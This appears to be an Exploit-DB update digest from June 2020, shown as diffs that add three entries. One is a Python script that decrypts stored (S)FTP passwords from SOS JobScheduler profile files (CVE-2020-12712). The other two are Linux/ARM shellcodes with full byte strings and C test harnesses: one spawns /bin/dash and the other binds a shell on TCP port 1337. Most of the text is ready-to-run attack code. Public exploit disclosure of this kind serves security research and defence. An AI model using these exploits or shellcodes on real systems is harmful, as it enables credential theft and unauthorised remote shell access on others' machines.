DB: 2020-06-16

3 changes to exploits/shellcodes

SOS JobScheduler 1.13.3 - Stored Password Decryption

Linux/ARM - execve /bin/dash Shellcode (32 bytes)
Linux/ARM - Bind (0.0.0.0:1337/TCP) Shell (/bin/sh) + Null-Free Shellcode (100 bytes)

exploits/multiple/remote/48587.py

@@ -0,0 +1,37 @@
+# Exploit Title: SOS JobScheduler 1.13.3 - Stored Password Decryption
+# Google Dork: N/A
+# Date: 2020-04-20
+# Exploit Author: Sander Ubink
+# Vendor Homepage: www.sos-berlin.com
+# Software Link: www.sos-berlin.com/en/jobscheduler-downloads
+# Version: Tested on 1.12.9 and 1.13.3, vendor reported 1.12 and 1.13
+# Tested on: Windows and Linux
+# CVE: CVE-2020-12712
+
+# Description: SOS JobScheduler is a tool for remote system administration that allows users to call maintenance scripts via a web interface. 
+# The tool places the maintenance scripts on the remote systems by means of (S)FTP. It allows the user to save profiles for these connections, 
+# in which the password for the (S)FTP connection is optionally stored. When the user chooses to store the password with the profile, 
+# it is encrypted using the name of the profile as the encryption key. Since the name of the profile is stored in the same configuration file, 
+# the plaintext (S)FTP password can trivially be recovered. The encryption algorithm used is Triple DES (3DES) with three keys, requiring a key 
+# length of 24 bytes. The profile name is padded to this length to create the key. Finally, the encrypted password gets base64 encoded before 
+# being stored in the configuration file.
+
+# Usage: python jobscheduler-decrypt.py [encrypted password in base64] [profile name]
+
+import pyDes
+import base64
+import argparse
+
+parser = argparse.ArgumentParser(description="Decrypt the password stored in a Jobscheduler (S)FTP profile configuration file")
+parser.add_argument("password", help="password to be decrypted")
+parser.add_argument("profilename", help="name of the profile")
+args = parser.parse_args()
+
+if len(args.profilename) > 24:
+	sys.exit("Profile name is longer than 24 characters. Check the validity of the input.")
+
+key = args.profilename + ((24 - len(args.profilename)) * " ")
+cipher = pyDes.triple_des(key, pyDes.ECB, b"\0\0\0\0\0\0\0\0", pad=" ", padmode=None)
+plain = cipher.decrypt(base64.b64decode(args.password))
+
+print(plain)

files_exploits.csv

@@ -18175,6 +18175,7 @@ id,file,description,date,author,type,platform,port
 48537,exploits/windows/remote/48537.py,"Microsoft Windows - 'SMBGhost' Remote Code Execution",2020-06-02,chompie1337,remote,windows,
 48540,exploits/linux/remote/48540.py,"vCloud Director 9.7.0.15498291 - Remote Code Execution",2020-06-02,aaronsvk,remote,linux,
 48569,exploits/multiple/remote/48569.py,"HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)",2020-06-10,hyp3rlinx,remote,multiple,
+48587,exploits/multiple/remote/48587.py,"SOS JobScheduler 1.13.3 - Stored Password Decryption",2020-06-15,"Sander Ubink",remote,multiple,
 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,

files_shellcodes.csv

@@ -1021,3 +1021,5 @@ id,file,description,date,author,type,platform
 48252,shellcodes/windows_x86-64/48252.txt,"Windows/x64 - WinExec Add-Admin Dynamic Null-Free Shellcode (210 Bytes)",2020-03-25,boku,shellcode,windows_x86-64
 48355,shellcodes/windows/48355.c,"Windows/x86 - MSVCRT System + Dynamic Null-free + Add RDP Admin + Disable Firewall + Enable RDP Shellcode (644 Bytes)",2020-04-21,boku,shellcode,windows
 48379,shellcodes/linux/48379.c,"Linux/x64 - Password Protected Bindshell + Null-free Shellcode (272 Bytes)",2020-04-24,boku,shellcode,linux
+48585,shellcodes/arm/48585.c,"Linux/ARM - execve /bin/dash Shellcode (32 bytes)",2020-06-15,"Anurag Srivastava",shellcode,arm
+48586,shellcodes/arm/48586.c,"Linux/ARM - Bind (0.0.0.0:1337/TCP) Shell (/bin/sh) + Null-Free Shellcode (100 bytes)",2020-06-15,"Anurag Srivastava",shellcode,arm

shellcodes/arm/48585.c

@@ -0,0 +1,81 @@
+# Title:  Linux/ARM - execve /bin/dash Shellcode (32 bytes)
+# Date:   2020-06-08
+# Category: Shellcode
+# Tested: armv7l (32-bit)(Raspberry Pi 2 Model B) (OS: Raspbian Buster Lite)
+# Author: Anurag Srivastava
+# Description: execve shellcode
+
+/*
+## Objdump 
+
+pi@raspberrypi:~/hex $ objdump -d ed1
+
+ed1:     file format elf32-littlearm
+
+
+Disassembly of section .text:
+
+00010054 <_start>:
+   10054:       e28f3001        add     r3, pc, #1
+   10058:       e12fff13        bx      r3
+   1005c:       a002            add     r0, pc, #8      ; (adr r0, 10068 <_start+0x14>)
+   1005e:       1a49            subs    r1, r1, r1
+   10060:       1c0a            adds    r2, r1, #0
+   10062:       7242            strb    r2, [r0, #9]
+   10064:       270b            movs    r7, #11
+   10066:       df01            svc     1
+   10068:       6e69622f        .word   0x6e69622f
+   1006c:       7361642f        .word   0x7361642f
+   10070:       46c05968        .word   0x46c05968
+pi@raspberrypi:~/hex $ nano ed1.s
+
+##code
+
+pi@raspberrypi:~/hex $ cat ed1.s
+.section .text
+.global _start
+
+_start:
+        .ARM
+        add r3, pc, #1
+        bx  r3
+
+        .THUMB
+        add r0, pc, #8
+        sub r1, r1, r1
+        mov r2, r1
+        strb r2, [r0, #9]
+        mov r7, #11
+        svc #1
+
+.ascii "/bin/dashY"
+
+pi@raspberrypi:~/hex $ as ed1.s -o ex.o
+pi@raspberrypi:~/hex $ ld -N ex.o -o exdash
+pi@raspberrypi:~/hex $ objcopy -O binary exdash exdash.bin
+pi@raspberrypi:~/hex $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' exdash.bin
+\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46
+
+
+## Steps to compile given shellcode C program file
+pi@raspberrypi:~ gcc -fno-stack-protector -z execstack tada.c -o tada
+pi@raspberrypi:~/hex $ ./tada
+Shellcode Length:  32
+$ whoami
+pi
+$ exit
+
+*/
+
+
+#include<stdio.h>
+#include<string.h>
+
+unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46";
+main(){
+
+        printf("Shellcode Length:  %d\n", (int)strlen(shellcode));
+        int (*ret)() = (int(*)())shellcode;
+
+        ret();
+}

shellcodes/arm/48586.c

@@ -0,0 +1,83 @@
+# Title: Linux/ARM (Raspberry Pi) - Bind (0.0.0.0:1337/TCP) Shell (/bin/sh) + Null-Free Shellcode (100 bytes) 
+# Date: 2020-06-09
+# Architecture: armv6l GNU/Linux
+# Website: http://www.theanuragsrivastava.com
+# Author: Anurag Srivastava
+
+
+/*
+
+
+bindwala:     file format elf32-littlearm
+
+
+Disassembly of section .text:
+
+00010054 <_start>:
+   10054:	e28f3001 	add	r3, pc, #1
+   10058:	e12fff13 	bx	r3
+   1005c:	2001      	movs	r0, #1
+   1005e:	1c01      	adds	r1, r0, #0
+   10060:	3001      	adds	r0, #1
+   10062:	4052      	eors	r2, r2
+   10064:	27c8      	movs	r7, #200	; 0xc8
+   10066:	3751      	adds	r7, #81	; 0x51
+   10068:	df01      	svc	1
+   1006a:	1c04      	adds	r4, r0, #0
+   1006c:	46c0      	nop			; (mov r8, r8)
+   1006e:	a10e      	add	r1, pc, #56	; (adr r1, 100a8 <struct_addr>)
+   10070:	704a      	strb	r2, [r1, #1]
+   10072:	604a      	str	r2, [r1, #4]
+   10074:	2210      	movs	r2, #16
+   10076:	3701      	adds	r7, #1
+   10078:	df01      	svc	1
+   1007a:	1c20      	adds	r0, r4, #0
+   1007c:	2102      	movs	r1, #2
+   1007e:	187f      	adds	r7, r7, r1
+   10080:	df01      	svc	1
+   10082:	1c20      	adds	r0, r4, #0
+   10084:	4049      	eors	r1, r1
+   10086:	1c0a      	adds	r2, r1, #0
+   10088:	3701      	adds	r7, #1
+   1008a:	df01      	svc	1
+   1008c:	1c04      	adds	r4, r0, #0
+   1008e:	2102      	movs	r1, #2
+
+00010090 <loop>:
+   10090:	1c20      	adds	r0, r4, #0
+   10092:	273f      	movs	r7, #63	; 0x3f
+   10094:	df01      	svc	1
+   10096:	3901      	subs	r1, #1
+   10098:	d5fa      	bpl.n	10090 <loop>
+   1009a:	a005      	add	r0, pc, #20	; (adr r0, 100b0 <spawnit>)
+   1009c:	1a49      	subs	r1, r1, r1
+   1009e:	1c0a      	adds	r2, r1, #0
+   100a0:	71c1      	strb	r1, [r0, #7]
+   100a2:	270b      	movs	r7, #11
+   100a4:	df01      	svc	1
+   100a6:	46c0      	nop			; (mov r8, r8)
+
+000100a8 <struct_addr>:
+   100a8:	3905ff02 	.word	0x3905ff02
+   100ac:	01010101 	.word	0x01010101
+
+000100b0 <spawnit>:
+   100b0:	6e69622f 	.word	0x6e69622f
+   100b4:	5868732f 	.word	0x5868732f
+pi@raspberrypi:~/hex $ nano tada.c 
+pi@raspberrypi:~/hex $ gcc -fno-stack-protector -z execstack tada.c -o tada
+pi@raspberrypi:~/hex $ ./tada
+Shellcode Length:  100
+
+*/
+#include<stdio.h>
+#include<string.h>
+
+unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x01\x20\x01\x1c\x01\x30\x52\x40\xc8\x27\x51\x37\x01\xdf\x04\x1c\xc0\x46\x0e\xa1\x4a\x70\x4a\x60\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x7f\x18\x01\xdf\x20\x1c\x49\x40\x0a\x1c\x01\x37\x01\xdf\x04\x1c\x02\x21\x20\x1c\x3f\x27\x01\xdf\x01\x39\xfa\xd5\x05\xa0\x49\x1a\x0a\x1c\xc1\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x05\x39\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58";
+main(){
+
+   printf("Shellcode Length:  %d\n", (int)strlen(shellcode));
+   int (*ret)() = (int(*)())shellcode;
+
+   ret();
+}